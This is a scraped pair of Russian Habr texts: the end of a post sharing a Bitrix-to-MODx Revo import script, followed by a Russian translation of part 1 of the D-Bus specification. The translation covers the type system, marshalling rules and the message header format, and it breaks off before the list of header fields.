Работает довольно быстро, импорт 5000 ресурсов и линковка между собой через ТВ параметры занимает около 4 — 5 минут на обычном домашнем компе. Линковка — это моя специфическая задача, не знаю, пригодится ли кому еще.

Дописывать, модифицировать и развивать этот скрипт я не буду — только если попросят перенести еще один сайт с Битрикс на Revo. В общем, отдаю, как есть.
Напоследок, коротко:
1. Установить MODx Revo.
2. Создать контейнеры для импорта, назначить ТВ для картинок.
3. Залить дамп БД битрикса.
4. [Скачать архив](http://narod.ru/disk/46621704001.e89c022fe7458b188cff93de08c2c463/import.zip.html) и распаковать в корень сайта.
5. Настроить config.inc.php, указать префикс таблиц и настройки инфоблоков.
6. Запустить импорт инфоблоков в process.php из консоли — есть возможность произвольного запуска.
7. Если что-то не так — копаться в коде и править под себя.
**Очень прошу не разворачивать очередные холивары на тему «лучшей в мире CMS»!**
P.S. Заказали, оплатили, и разрешили поделиться ребята из [Webmaster Agency](http://www.wm.ru/)
**UPD.** Не приятно получать минусы в пост и карму за, как мне кажется, полезный скрипт. Хоть бы кто отписался — что не устраивает? | https://habr.com/ru/post/142430/ | null | ru | null |
# Спецификация D-Bus. Часть 1
Введение
--------
D‑Bus - это простая в использовании система межпроцессного взаимодействия (IPC) с низкими издержками. Более подробно:
* D‑Bus не требует больших затрат , поскольку использует двоичный протокол и не требует преобразования в текстовый формат, например XML, и обратно. Поскольку D-Bus предназначен в первую очередь для IPC внутри одной машины, и во вторую очередь для IPC в Интернете, то это интересная оптимизация. D-Bus также спроектирован таким образом, чтобы избежать задержек и обеспечить асинхронную работу, как и протокол X.
* D‑Bus прост в использовании потому, что он работает с сообщениями, а не с потоками байтов, и автоматически решает множество сложных проблем IPC. Кроме того, библиотека D‑Bus спроектирована так, чтобы можно было сделать враппер, позволяющий разработчикам использовать существующие объекты/типы их фреймворков, а не изучать новые, специализированные для IPC.
Базовый протокол D‑Bus - это протокол «точка-точка» (одноранговый или клиент-сервер), описанный в разделе «Протокол сообщений». То есть это система, в которой одно приложение взаимодействует с единственным другим приложением. Однако основным, предполагаемым применением протокола является шина сообщений D‑Bus, описанная в разделе «Спецификация шины сообщений». Шина сообщений - это специальное приложение, которое принимает соединения от множества других приложений и пересылает сообщения между ними.
D‑Bus может также использоваться для нотификации об изменениях в системе (уведомление о том, когда камера подключена к компьютеру или установлена новая версия некоторого программного обеспечения) или взаимодействия настольных компьютеров, например, сервис мониторинга файлов или сервис конфигурирования.
D‑Bus разработана для двух конкретных случаев использования:
* «Системная шина» для уведомлений от системы к пользовательским сеансам и позволяющая системе запрашивать ввод из пользовательских сеансов.
* «Сессионная шина», используемая для реализации окружения рабочего стола, такого как GNOME и KDE.
D‑Bus не предназначен для использования в качестве IPC общего назначения для любого возможного приложения и по этой причине намеренно опускает многие функции, имеющиеся в других системах IPC.
В то же время, демоны шины предлагают ряд функций, которых нет в других системах IPC, таких как «шинные имена» с одним владельцем (аналогично селекторам в X Window System), запуск сервисов по запросу и политики безопасности. Во многих отношениях эти функции являются основной причиной разработки D-Bus; если бы единственной целью был IPC - существующих систем было бы достаточно.
D-Bus может оказаться полезным в неожиданных приложениях, но будущие версии этой спецификации и эталонная реализация, вероятно, не будут включать функции, которые мешают основным вариантам использования.
Ключевые слова «ДОЛЖЕН», «НЕ ДОЛЖЕН», «ОБЯЗАТЕЛЬНО», «ДОЛЖЕН», «НЕ ДОЛЖЕН», «СЛЕДУЕТ», «НЕ СЛЕДУЕТ», «РЕКОМЕНДУЕТСЯ», «МОЖЕТ» и «ДОПОЛНИТЕЛЬНО» в этом документе следует интерпретировать, как описано в RFC 2119. Тем не менее, документ может потребовать серьезной проверки, чтобы убедиться, что это имеет смысл. Кроме того, они не пишутся с заглавной буквы.
### Стабильность протокола и спецификации
С 8 ноября 2006г. протокол D-Bus заморожен (разрешены только совместимые расширения). Тем не менее, эта спецификация может потребовать значительных усилий, чтобы сделать возможной функционально совместимую повторную реализацию без оглядки на эталонную реализацию D‑Bus. Таким образом, эта спецификация не имеет маркировки 1.0. Прежде чем маркировать её как 1.0, мы хотели бы, чтобы кто-то приложил значительные усилия для уточнения языка спецификации и расширения спецификации, с целью охватить больше аспектов поведения эталонной реализации.
Пока эта работа не будет завершена, любая попытка повторно реализовать D-Bus, вероятно, потребует изучения эталонной реализации и/или вопросов в списке рассылки D-Bus о предполагаемом поведении. Вопросы в рассылке приветствуются.
Тем не менее, этот документ должен быть полезной отправной точкой и, насколько нам известно, точен, хотя и неполон.
### Система типов
D-Bus обладает системой типов, в которой значения различных типов могут быть сериализованы в последовательность байтов, называемую стандартным способом сериализации. Преобразование значения из некоторого иного представления в сериализованный формат называется маршалингом, а преобразование его обратно из сериализованного формата - демаршалингом.
Протокол D-Bus не включает в маршалированные данные теги типов; блок маршалированных значений должен иметь сигнатуру известного типа. Сигнатура типа состоит из нуля или нескольких отдельных типов, каждый из которых состоит из одного или нескольких кодов типов.
Код типа - это символ ASCII, представляющий тип значения. Поскольку используются символы ASCII, сигнатура типа всегда будет формировать допустимую строку ASCII. Простое сравнение строк определяет, эквивалентны ли сигнатуры двух типов.
Единый полный тип - это последовательность кодов типа, которая полностью описывает его тип: либо базовый тип, либо один полностью описанный контейнерный тип. Единый полный тип - это код базового типа, код вариантного типа, массив с типом его элементов или структура с полями (все они определены ниже). Таким образом, следующие сигнатуры не являются едиными полными типами:
"aa"
"(ii"
"ii)"
А следующие сигнатуры содержат несколько полных типов:
"ii"
"aiai"
"(ii)(ii)"
Однако, обратите внимание, что единый полный тип может содержать несколько других единых полных типов, содержащих запись *struct* (структура) или *dict* (запись словаря).
### Базовые типы
Простейшие коды типов - это базовые типы, то есть типы, структура которых полностью определяется их односимвольным кодом. Базовые типы состоят из фиксированных типов и строковых типов.
Фиксированные типы - это базовые типы, размер которых имеют фиксированную длину, а именно BYTE, BOOLEAN, DOUBLE, UNIX\_FD и целые числа со знаком или без знака длиной 16, 32 или 64 бита.
В качестве простого примера кода типа для 32-разрядного целого числа (INT32) - это символ ASCII «i». Таким образом, сигнатура для блока значений, содержащего единственный INT32, будет:
"i"
Блок из значений, содержащий два INT32, будет иметь такую сигнатуру:
"ii"
Характеристики фиксированных типов перечислены в этой таблице.
| | | |
| --- | --- | --- |
| **Обычное имя** | **ASCII код типа** | **Расшифровка** |
| BYTE | y(121) | Беззнаковое 8-битное целое число |
| BOOLEAN | b(98) | Логическое значение: 0 - ложь, 1 - истина, любое другое значение, разрешенное форматом маршалинга, недопустимо |
| INT16 | n(110) | Знаковое (в дополнительном коде) 16-разрядное целое число |
| UINT16 | q(113) | Беззнаковое 16-битное целое число |
| INT32 | i(105) | Знаковое (в дополнительном коде) 32-битное целое |
| UINT32 | u(117) | Беззнаковое 32-битное целое число |
| INT64 | x(120) | Знаковое (в дополнительном коде) 64-битное целое число (мнемоника: x и t - первые символы в «шестидесяти (sixty)», которые еще не используются для чего-то другого более распространенного) |
| UINT64 | t(116) | Беззнаковое 64-битное целое число |
| DOUBLE | d(100) | IEEE 754 с плавающей запятой двойной точности |
| UNIX\_FD | h(104) | Беззнаковое 32-разрядное целое число, представляющее индекс во вспомогательном массиве файловых дескрипторов, передаваемых через некоторый, зависящий от платформы, механизм (мнемоника: h от handle (дескриптор)) |
Строковые типы это базовые типы переменной длины. Значение любого строкового типа концептуально равно 0 или более кодовым позициям Unicode, закодированным в UTF-8, ни одна из которых не может бытьU + 0000 . Текст UTF-8 должен быть строго проверен: в частности, он не должен содержать слишком длинных последовательностей или кодовых позицийU + 10FFFF
Начиная со спецификации D‑Bus версии 0.21, в соответствии с исправлением Unicode #9, в строках UTF‑8 разрешены "несимвольные знаки" U + FDD0..U + FDEF, U + nFFFE и U + nFFFF (но обратите внимание, что старые версии D‑Bus эти несимвольные знаки отклоняли).
Все маршалинговые форматы строковых типов оканчиваются одним нулевым байтом (NUL), но этот байт не считается частью текста.
Характеристики строковых типов перечислены в этой таблице.
| | | |
| --- | --- | --- |
| **Условное обозначение** | **ASCII код типа** | **Ограничения валидности** |
| STRING | s(115) | Без лишних ограничений |
| OBJECT\_PATH | o(111) | Должен быть синтаксически допустимый объектный путь. |
| SIGNATURE | g(103) | Ноль или более единых полных типов. |
#### Допустимые объектные пути
Объектный путь - это имя, используемое для ссылки на экземпляр объекта. По идее, каждый участник обмена сообщениями D-Bus может иметь любое количество экземпляров объекта (подумайте об объектах C ++ или Java), и каждый такой экземпляр будет иметь путь. Как и файловая система, экземпляры объектов в приложении образуют иерархическое дерево.
Объектные пути часто имеют пространство имен, начинающееся с перевернутого имени домена и содержат номер версии интерфейса, точно так же, как имена интерфейсов и общеизвестные шинные имена. Это позволяет реализовать в одном процессе более одного сервиса или более одной версии сервиса даже если сервисы совместно используют соединение, но не могут взаимодействовать иным образом (например, если они реализованы разными плагинами).
Использование пути к объекту «/» разрешено, но не рекомендуется, так как это затрудняет управление версиями интерфейсов. Любые сигналы, испускаемые объектом D‑Bus, имеют связанное с ними уникальное шинное имя, а не его общеизвестное имя. Это означает, что получатели сигналов, чтобы определить какой интерфейс породил сигнал, должны полностью полагаться на имя сигнала и объектный путь.
Например, если владелец example.com разрабатывает API D-Bus для музыкального проигрывателя, он может использовать для своих объектов иерархию путей к объектам, которые начинаются с */com/example/MusicPlayer1* .
Следующие правила определяют допустимый путь к объекту. Реализации не должны отправлять или принимать сообщения с недопустимыми путями к объектам.
* Путь может быть любой длины.
* Путь должен начинаться с символа косой черты ASCII '/' (целое число 47) и должен состоять из элементов, разделенных этим символом.
* Каждый элемент должен содержать только символы ASCII "[A-Z] [a-z] [0-9] "
* Никакой элемент не может быть пустой строкой.
* Символы '/' не могут идти подряд.
* Завершающий символ '/' не допускается, если путь не является корневым (один символ «/»).
#### Допустимые сигнатуры
Реализация не должна отправлять или принимать недопустимые сигнатуры. Допустимые сигнатуры будут соответствовать следующим правилам:
* Сигнатура - это список единых полных типов. Массивы должны иметь типы элементов, а структуры должны иметь как открывающую, так и закрывающую круглые скобки.
* В сигнатуре разрешены только коды типов, открывающие и закрывающие круглые скобки, а также открывающие и закрывающие фигурные скобки. В сигнатурах не допускается код типа STRUCT, так как вместо него используются круглые скобки. Точно так же в сигнатурах не разрешен код типа DICT\_ENTRY, потому что вместо него используются фигурные скобки.
* Максимальная глубина вложенности контейнерных типов составляет 32 кода типа массива и 32 открывающие скобки. Это означает, что максимальная общая глубина рекурсии равна 64 для «массива массивов массива … структуры структуры структуры …», где имеется 32 массива и 32 структуры.
* Максимальная длина сигнатуры 255.
Когда сигнатуры появляются в сообщениях, формат маршалинга гарантирует, что за ними будет следовать нулевой байт (который можно интерпретировать как завершение строки в стиле C или как код типа INVALID), но он концептуально не является частью сигнатуры.
### Контейнерные типы
В дополнение к базовым типам существует четыре типа контейнеров: STRUCT, ARRAY, VARIANT и DICT\_ENTRY.
STRUCT имеет кодом типа символ ASCII 'r', но этот код не появляется в сигнатурах. Вместо этого используются символы ASCII '(' и ')' для обозначения начала и конца структуры. Так, например, структура, содержащая два целых числа, будет иметь такую сигнатуру:
"(ii)"
Структуры могут быть вложенными, например, структура, содержащая целое число и другую структуру:
"(i(ii))"
Блок значений, хранящий эту структуру, будет содержать три целых числа; сигнатура типа позволяет отличить«(i(ii))» от«(ii)i)» ,«(iii)» или«iii»
Код типа STRUCT 'r' в настоящее время в протоколе D‑Bus не используется, но полезен в коде, реализующем протокол. Этот код типа указывается, чтобы позволить такому коду взаимодействовать в непротокольных контекстах.
Пустые структуры не допускаются; между скобками должен быть хотя бы один код типа.
ARRAY в качестве кода типа используется символ ASCII 'a'. Код типа массива должен сопровождаться единым полным типом. Единый полный тип, следующий за массивом, - это тип элементов массива. Итак, простой пример:
"ai"
который представляет собой массив 32-битных целых чисел. Но массив может быть любого типа, например, этот массив‑структур‑с‑двумя‑полями‑int32:
"a(ii)"
Или этот массив массивов целых чисел:
"aai"
VARIANT имеет в качестве кода типа ASCII-символ 'v '. Маршалированное значение типа VARIANT будет иметь как часть значения сигнатуру единого полного типа. За этой сигнатурой будет следовать маршалированное значение этого типа.
В отличие от сигнатуры сообщения, сигнатура варианта может содержать только единый полный тип. Итак, «i», «ai» или «(ii)» подходят, а «ii» - нет. Использование вариантов может не привести к тому, что общая глубина сообщения будет больше 64, включая другие типы контейнеров, такие как структуры.
DICT\_ENTRY работает точно так же, как структура, но вместо круглых скобок использует фигурные скобки и имеет больше ограничений. Ограничения: тип встречается только как тип элемента массива; внутри фигурных скобок есть ровно два единых полных типа; первый единый полный тип («ключ») должен быть базовым типом, а не контейнерным. Реализации не должны принимать записи dict вне массивов, не должны принимать записи dict с нулем, одним или более чем двумя полями, а также не должны принимать записи dict с ключами, отличными от базовых типов. Запись dict - это всегда пара ключ‑значение.
Первое поле в DICT\_ENTRY всегда является ключом. Сообщение считается поврежденным, если один и тот же ключ встречается дважды в одном и том же массиве DICT\_ENTRY. Однако по соображениям производительности реализациям не требуется отклонять словари с повторяющимися ключами.
В большинстве языков массив записей dict будет представлен как map , хеш‑таблица или объект dict .
### Сводка по типам
В следующей таблице приведены типы D-Bus.
| | | | |
| --- | --- | --- | --- |
| **Категория** | **Условное обозначение** | **Код** | **Описание** |
| зарезервированный | INVALID | 0 (ASCII NUL) | Недействительный код типа, используемый для завершения сигнатур |
| фиксированный, базовый | BYTE | 121 (ASCII 'y') | 8-битное целое число без знака |
| фиксированный, базовый | BOOLEAN | 98 (ASCII 'b') | Логическое значение, 0 - ЛОЖЬ, а 1 - ИСТИНА. Все остальное неверно. |
| фиксированный, базовый | INT16 | 110 (ASCII 'n') | 16-битное целое число со знаком |
| фиксированный, базовый | UINT16 | 113 (ASCII 'q') | 16-битное целое число без знака |
| фиксированный, базовый | INT32 | 105 (ASCII 'i') | 32-битное целое число со знаком |
| фиксированный, базовый | UINT32 | 117 (ASCII 'u') | 32-битное целое число без знака |
| фиксированный, базовый | INT64 | 120 (ASCII 'x') | 64-битное целое число со знаком |
| фиксированный, базовый | UINT64 | 116 (ASCII 't') | 64-битное целое число без знака |
| фиксированный, базовый | DOUBLE | 100 (ASCII 'd') | IEEE 754 двойной |
| строковый, базовый | STRING | 115 (ASCII 's') | Строка UTF-8 (должен быть действительный UTF-8). Должен заканчиваться нулем и не содержать других нулевых байтов. |
| строковый, базовый | OBJECT\_PATH | 111 (ASCII 'o') | Имя экземпляра объекта |
| строковый, базовый | SIGNATURE | 103 (ASCII 'g') | Сигнатура типа |
| контейнер | ARRAY | 97 (ASCII 'a') | Массив |
| контейнер | STRUCT | 114 (ASCII 'r'),40 (ASCII '('),41 (ASCII ')') | Struct; код типа 114 'r' зарезервирован для использования в привязках и реализациях для представления общей концепции структуры и не должен появляться в сигнатурах, используемых в D-Bus. |
| контейнер | VARIANT | 118 (ASCII 'v') | Тип варианта (тип значения является частью самого значения) |
| контейнер | DICT\_ENTRY | 101 (ASCII 'e'),123 (ASCII '{'),125 (ASCII '}') | Запись в dict или map (массив пар ключ-значение). Код типа 101 «e» зарезервирован к использованию в привязках и реализациях для представления общей концепции dict или dict-entry и не должен появляться в сигнатурах, используемых на D-Bus. |
| фиксированный, базовый | UNIX\_FD | 104 (ASCII 'h') | Дескриптор файла Unix |
| зарезервированный | (зарезервированный) | 109 (ASCII 'm') | Зарезервировано для типа["возможно", совместимого с типом в GVariant](https://bugs.freedesktop.org/show_bug.cgi?id=27857), и не должно появляться в сигнатурах, используемых на D-Bus, пока не будет указано здесь |
| зарезервированный | (зарезервированный) | 42 (ASCII '\*') | Зарезервировано для использования в привязках/реализациях для представления любого единого полного типа и не должно появляться в сигнатурах, используемых на D-Bus. |
| зарезервированный | (зарезервированный) | 63 (ASCII '?') | Зарезервировано для использования в привязках/реализациях для представления любого базового типа и не должно появляться в сигнатурах, используемых на D‑Bus. |
| зарезервированный | (зарезервированный) | 64 (ASCII '@'),38 (ASCII '&'),94 (ASCII '^') | Зарезервировано для внутреннего использования привязками/реализациями и не должно появляться в сигнатурах, используемых на D‑Bus. GVariant использует эти коды типов для кодирования соглашений о вызовах. |
### Маршалинг (Сериализация)
D-Bus для своей системы типов определяет формат маршалинга(сериализации), который используется в сообщениях D-Bus. Это не единственный возможный формат маршалинга для системы типов: например, GVariant (часть GLib) использует систему типов D‑Bus, но реализует альтернативный формат маршалинга.
### Порядок байтов и выравнивание
Учитывая сигнатуру типа, блок байтов можно преобразовать в типизированные значения. В этом разделе описывается формат блока байтов. Вопросы порядка байтов и выравнивания решаются единообразно для всех типов D‑Bus.
Блок байтов имеет порядок байтов. Порядок байтов должен быть каким-то образом обозначен; для сообщений D‑Bus порядок байтов является частью заголовка сообщения, как описано в разделе «Формат сообщения». Пока предположим, что известен порядок байтов младшим вперед или старшим вперед (little-endian или big‑endian).
Каждое значение в блоке байтов выравнивается «естественным образом», например, 4‑байтовые значения выравниваются по 4‑байтовой границе, а 8‑байтовые значения - по 8‑байтовой границе. Границы вычисляются глобально по отношению к первому байту сообщения. Чтобы правильно выровнять значение, перед значением может потребоваться заполнение. Выравнивающее заполнение всегда должно быть минимально необходимым для правильного выравнивания следующего значения; и оно всегда должно состоять из нулевых байтов. Выравнивающее заполнение выравнивания не должно оставаться неинициализированным (оно не может содержать мусор), и нельзя использовать больше байтов заполнения, чем требуется.
Как исключение из естественного порядка выравнивания значений, STRUCT и DICTENTRY всегда выравниваются по 8‑байтовой границе, независимо от выравнивания их содержимого.
### Маршалинг базовых типов
Чтобы маршалировать и демаршалировать фиксированные типы, вы просто считываете одно значение из блока данных, соответствующего каждому коду типа в сигнатуре. Все целочисленные значения со знаком кодируются в дополнительном коде, значения DOUBLE представляют собой числа с плавающей запятой двойной точности IEEE 754, а значения BOOLEAN кодируются в 32‑битном формате (из которых используется только младший значащий бит).
Строковые типы (STRING, OBJECTPATH и SIGNATURE) все упорядочиваются как целое число фиксированной длины без знака, содержащее длину переменной части, за которым следуют ненулевые байты текста UTF‑8, и далее следует один нулевой (nul ) байт, который не является частью текста. Выравнивание строкового типа такое же, как выравнивание n : любое заполнение, необходимое для n , появляется непосредственно перед ним. Никогда не бывает выравнивающего заполнения между n и текстом строки или между текстом строки и конечным nul. Выравнивающее заполнение для следующего значения в сообщении (если оно есть) начинается после завершающего нуля.
Для типов STRING и OBJECTPATH n кодируется 4 байтами (UINT32), что приводит к 4‑байтовому выравниванию. Для типа SIGNATURE n кодируется как один байт (UINT8). В результате выравнивающее заполнение перед SIGNATURE никогда не требуются.
Например, если текущая позиция кратна 8 байтам от начала сообщения с порядком байтов младшим вперед, строки «foo », «+» и «bar » будут сериализованы в следующей последовательности:
```
выравнивание не требуется, поскольку длина кратна 4
0x03 0x00 0x00 0x00 длина ‘foo’ = 3
0x66 0x6f 0x6f ‘foo’
0x00 завершающий ноль
выравнивание не требуется, поскольку длина кратна 4
0x01 0x00 0x00 0x00 length of ‘+’ = 1
0x2b ‘+’
0x00 завершающий ноль
0x00 0x00 2 выравнивающих байта чтобы получить ближайшую кратную 4 длину
0x03 0x00 0x00 0x00 длина ‘bar’ = 3
0x62 0x61 0x72 ‘bar’
0x00 завершающий ноль
```
### Маршалинг контейнеров
Массивы маршалируются как n типа UINT32, содержащее длину данных массива в байтах, за которым следует выравнивающее заполнение до границы выравнивания типа элемента массива, далее следуют байты элементов массива, маршалированных в последовательность. Значение n не включает заполнение после длины или любое другое заполнение после последнего элемента. Т.е. n должно быть кратно количеству элементов в массиве.
Например, если текущая позиция в сообщении кратна 8 байтам и порядок байтов big‑endian , массив, содержащий только 64-разрядное целое число 5, будет маршалирован как:
```
00 00 00 08 n = 8 байт данных
00 00 00 00 дополнение до границы 8-байт
00 00 00 00 00 00 00 05 первый элемент = 5
```
Массивы имеют максимальную длину 2 в 26-й степени или 67108864 (64 МиБ). Реализации не должны отправлять или принимать массивы, превышающие эту длину.
Структуры и записи dict маршалируются таким же образом, как их содержимое, но выравнивание всегда осуществляется по 8-байтовой границе, даже если содержимое могло бы быть выровнено по меньшему значению границы.
Варианты маршалируются как SIGNATURE их содержимого (которое должно быть единого полного типа), за которым следует маршалированное значение с типом, заданным этой сигнатурой. Вариант, как и сигнатура имеет 1‑байтовое выравнивание, это означает, что выравнивающее заполнение перед вариантом никогда не требуется. Использование вариантов не должно приводить к тому, чтобы общая глубина сообщения превышала 64, включая другие типы контейнеров, такие как структуры (См. [Вводную статью](https://habr.com/ru/post/529966/)).
### Сводка по маршалированию в D-Bus
Учитывая вышесказанное, типы маршалируются по сети следующим образом:
| | | |
| --- | --- | --- |
| **Условное обозначение** | **Кодирование** | **Выравнивание** |
| INVALID | Недопустимый, не может быть маршалирован. | Нет данных |
| BYTE | Один 8-битный байт. | 1 |
| BOOLEAN | Используется UINT32, но допустимыми значениями являются только 0 и 1. | 4 |
| INT16 | 16‑битовое целое число со знаком в порядке байтов сообщения. | 2 |
| UINT16 | 16‑битное целое число без знака в байтовом порядке сообщения. | 2 |
| INT32 | 32‑битное целое число со знаком в порядке байтов сообщения. | 4 |
| UINT32 | 32‑битовое целое число без знака в байтовом порядке сообщения. | 4 |
| INT64 | 64‑битное целое число со знаком в порядке байтов сообщения. | 8 |
| UINT64 | 64‑битное целое число без знака в байтовом порядке сообщения. | 8 |
| DOUBLE | 64‑битный IEEE 754 с двойным порядком байтов сообщения. | 8 |
| STRING | Сначала UINT32, указывающий длину строки в байтах, за исключением завершающего нулевого значения, затем следуют ненулевые строковые данные заданной длины, за которыми следует завершающий нулевой байт. | 4 (по длине) |
| OBJECT\_PATH | Точно так же, как STRING, за исключением того, что содержимое должно быть допустимым путем к объекту (см. Выше). | 4 (по длине) |
| SIGNATURE | То же, что и STRING, за исключением того, что длина кодируется одним байтом (таким образом, максимальная длина сигнатуры составляет 255), а содержимое должно быть действительной сигнатурой (см. Выше). | 1 |
| ARRAY | AUINT32 предоставляет длину данных массива в байтах, за которой следует выравнивающее заполнение до границы выравнивания типа элемента массива, за которым следует каждый элемент массива. | 4 (по длине) |
| STRUCT | Структура должна начинаться на 8‑байтовой границе независимо от типа полей структуры. Значение структуры состоит из каждого поля, упорядоченного по порядку, начиная с этой 8‑байтовой границы выравнивания. | 8 |
| VARIANT | Маршалированная SIGNATURE одного полного типа, за которой следует маршалированное значение с типом, указанным в сигнатуре. | 1 (выравнивание сигнатуры) |
| DICT\_ENTRY | Идентично STRUCT. | 8 |
| UNIX\_FD | 32‑битовое целое число без знака в байтовом порядке сообщения. Фактические файловые дескрипторы необходимо передавать по дополнительному каналу с помощью определенного механизма платформы. На проводе значения этого типа сохраняют индекс файлового дескриптора в массиве файловых дескрипторов, сопровождающих сообщение. | 4 |
### Протокол сообщений
Сообщение состоит из заголовка и тела. Если вы думаете о сообщении как о пакете, то заголовок - это адрес, а тело содержание пакета. Система доставки сообщений использует информацию заголовка, чтобы выяснить, куда отправить сообщение и как его интерпретировать; получатель интерпретирует тело сообщения.
Тело сообщения состоит из нуля или более аргументов, которые представляют собой типизированные значения, такие как целое число или массив байтов.
Для сериализации данных и заголовка, и тела используется формат и система типов D‑Bus.
### Формат сообщения
Сообщение состоит из заголовка и тела.
**Заголовок**- это блок значений с фиксированной сигнатурой и значением.
**Тело**- это отдельный блок значений соответствующих сигнатуре, указанной в заголовке.
Длина заголовка должна быть кратна 8, чтобы тело могло начинаться с 8‑байтовой границы при сохранении всего сообщения в одном буфере. Если заголовок не заканчивается естественным образом на 8-байтовой границе, необходимо добавить до 7 нулевых байтов выравнивающего заполнения.
Тело сообщения не обязательно должно заканчиваться на 8‑байтовой границе.
Максимальная длина сообщения, включая заголовок, заполнение для выравнивания заголовка и тело, составляет 2 в 27-й степени или 134217728 (128 МиБ). Реализации не должны отправлять или принимать сообщения, превышающие этот размер.
Сигнатура заголовка:
"yyyyuua(yv)"
Если расшифровать то, это:
```
BYTE, BYTE, BYTE, BYTE, UINT32, UINT32, ARRAY of STRUCT of (BYTE,VARIANT)
```
Эти значения имеют следующий смысл:
| | |
| --- | --- |
| **Значение** | **Описание** |
| 1‑й BYTE | Флаг порядка байтов; ASCII 'l' для порядка байтов little‑endian или ASCII 'B' для big‑endian. И заголовок, и тело используют этот порядок. |
| 2‑й BYTE | Тип сообщения. Неизвестные типы следует игнорировать. Типы, определенные в настоящее время, описаны ниже. |
| 3‑й BYTE | Побитовая сумма флагов по «ИЛИ». Неизвестные флаги следует игнорировать. Определенные в настоящее время флаги описаны ниже. |
| 4‑й BYTE | Основная версия протокола отправляющего приложения. Если основная версия протокола принимающего приложения не совпадает, приложения не смогут взаимодействовать и соединение D-Bus должно быть разорвано. Основная версия протокола для этой версии спецификации - 1. |
| 1‑й UINT32 | Длина тела сообщения в байтах, начиная с конца заголовка. Заголовок заканчивается после его выравнивающего заполнения до 8‑байтной границы. |
| 2‑й UINT32 | Серийный номер этого сообщения, используемый отправителем подобно cookie для идентификации ответа, соответствующего этому запросу. Это значение не должно быть нулевым. |
| ARRAY of STRUCTof (BYTE, VARIANT) | Массив из нуля или более полей заголовка, где байт - это код поля, а вариант - значение поля. Тип сообщения определяет, какие поля обязательны. |
Типы сообщений, которые могут появиться во втором байте заголовка:
| | | |
| --- | --- | --- |
| **Условное обозначение** | **Десятичное значение** | **Описание** |
| INVALID | 0 | Это недопустимый тип. |
| METHOD\_CALL | 1 | Вызов метода. Этот тип сообщения может требовать ответа. |
| METHOD\_RETURN | 2 | Ответ метода с возвращенными данными. |
| ERROR | 3 | Ответ об ошибке. Если первый аргумент существует и является строкой, это сообщение об ошибке. |
| SIGNAL | 4 | Излучение сигнала. |
Флаги, которые могут появляться в третьем байте заголовка:
| | | |
| --- | --- | --- |
| **Условное обозначение** | **hex** | **Описание** |
| NO\_REPLY\_EXPECTED | 0x1 | Это сообщение не ожидает ответов метода или ошибок, даже если оно имеет тип, который может иметь ответ; ответ следует опустить.Обратите внимание, что METHOD\_CALL - единственный тип сообщения из определенных в текущей спецификации, который может ожидать ответа, поэтому наличие или отсутствие этого флага в трех других типах сообщений, которые в настоящее время задокументированы, бессмысленно: ответы на эти типы сообщений не должны отправляться, независимо от того установлен этот флаг или нет. |
| NO\_AUTO\_START | 0x2 | Шина не должна запускать владельца шинного имени назначения в ответ на это сообщение. |
| ALLOW\_INTERACTIVE\_AUTHORIZATION | 0x4 | Этот флаг может быть установлен в сообщении о вызове метода, чтобы информировать принимающую сторону о том, что вызывающий абонент готов ждать интерактивной авторизации, для завершения которой может потребоваться значительное время. Например, если этот флаг установлен, было бы целесообразно запрашивать у пользователя пароли или подтверждение через Polkit или аналогичный фреймворк.Этот флаг полезен только тогда, когда непривилегированный код делает вызов более привилегированного метода, и когда развернута система авторизации, которая возможно, предоставляет интерактивную авторизацию. Если такая система не развернута, флаг не имеет никакого эффекта.Реализации клиентов не должны устанавливаться этот флаг по умолчанию. Если он установлен, вызывающий должен также установить достаточно длительный тайм-аут для вызова метода, чтобы убедиться, что взаимодействие с пользователем успеет завершиться. Этот флаг действителен только для сообщений о вызове методов и в противном случае должен игнорироваться.Взаимодействие, которое происходит как часть эффекта вызываемого метода, выходит за рамки этого флага, даже если его также можно охарактеризовать как аутентификацию или авторизацию. Например, в вызове метода, который указывает сервису управления сетью попытаться подключиться к виртуальной частной сети (VPN), этот флаг должен управлять тем, как сервис управления сетью принимает решение «разрешено ли этому пользователю изменять конфигурацию сети системы?», Но он не должно влиять на то, как сервис управления сетью будет взаимодействовать с пользователем для получения учетных данных, необходимых для доступа к VPN.Если этот флаг не установлен для вызова метода, и сервиса определяет, что запрошенная операция не разрешена без интерактивной авторизации, но может быть разрешена после успешной интерактивной авторизации, она может вернуть ошибку org.freedesktop.DBus.Error.InteractiveAuthorizationRequirederror.Отсутствие этого флага не гарантирует, что интерактивная авторизация не будет применена, поскольку существующие сервисы, которые предшествуют этому флагу, могут уже использовать интерактивную авторизацию. Однако существующие API‑интерфейсы D‑Bus, которые будут использовать интерактивную авторизацию, должны задокументировать, что вызов может занять больше времени, чем обычно, а новые API‑интерфейсы D‑Bus должны избегать интерактивной авторизации при отсутствии этого флага. |
### Поля заголовка
Массив в конце заголовка содержит поля заголовка, где каждое поле представляет собой 1‑байтовый код поля, за которым следует значение поля. Заголовок должен содержать обязательные поля заголовка для своего типа сообщения и ноль или более любых дополнительных полей заголовка. В будущих версиях этой спецификации протокола могут быть добавлены новые поля. Реализации не должны изобретать свои собственные поля заголовка; новые поля заголовка могут вводить только изменения этой спецификации.
Если реализация видит код поля заголовка, которого она не ожидает, она должна принять и проигнорировать это поле, так как оно будет частью новой (но совместимой) версии этой спецификации. Это также относится к известным полям заголовка, появляющимся в неожидавшихся сообщениях, например: если сигнал имеет серийный номер ответа, его следует игнорировать, поскольку он не имеет значения в этой версии спецификации.
Однако реализации не должны отправлять или принимать известные поля заголовка с неправильным типом, хранящимся в значении поля. Так, например, сообщение с полем INTERFACE типа UINT32 будет считаться поврежденным.
Реализации сервера, которые могут ретранслировать сообщения от одного недоверенного клиента к другому, например, как на шина сообщений, должна удалить поля заголовка, которые сервер не распознает. Однако клиент должен предполагать, что сервер этого не сделал, если только он не имеет доказательств обратного, например, проверив функцию шины сообщения HeaderFiltering .
Новые поля заголовка, управляемые шиной сообщений (аналогичные SENDER), могут быть добавлены в эту спецификацию в будущем. Такие поля сообщений обычно следует добавлять только к сообщениям, которые будут доставлены клиенту, который их специально запросил (например, вызвав какой‑либо метод), а шина сообщений должна удалить эти поля заголовка из всех других сообщений, которые она ретранслирует. Этот принцип устройства служит двум основным целям. Одна из них - избежать ненужных затрат памяти и пропускной способности при доставке сообщений клиентам, которым не интересны новые поля заголовка. Другая - дать клиентам причину вызвать метод, запрашивающий эти сообщения (в противном случае клиенты не будут работать). Это желательно, потому что просмотр ответа на вызов этого метода - естественный способ проверить, гарантирует ли шина сообщений фильтрацию ложных полей заголовка, которые могли быть отправлены злонамеренными узлами.
Вот определенные в настоящее время поля заголовка:
